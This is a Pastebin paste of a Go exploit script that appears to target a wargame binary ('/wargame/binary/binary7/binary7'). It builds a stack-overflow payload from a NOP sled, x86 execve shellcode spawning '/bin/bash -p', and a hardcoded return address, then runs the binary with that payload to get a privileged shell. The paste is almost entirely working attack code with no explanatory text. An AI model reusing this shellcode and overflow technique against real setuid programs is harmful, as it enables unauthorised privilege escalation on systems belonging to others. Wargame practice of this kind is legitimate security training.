Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package main
- import (
- "os"
- sys "syscall"
- )
- const ret = "\x86\xfc\xff\xbf"
- const shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70" +
- "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61" +
- "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" +
- "\x51\x53\x89\xe1\xcd\x80"
- const bufferSize = 512
- const NOP = "\x90"
- const PATH = "/wargame/binary/binary7/binary7"
- func main() {
- var payload string
- for i := 0; i < bufferSize-len(shellcode); i++ {
- payload += NOP
- }
- payload += shellcode
- payload += ret
- sys.Exec(PATH, []string{PATH, payload}, os.Environ())
- }
Advertisement
Add Comment
Please, Sign In to add comment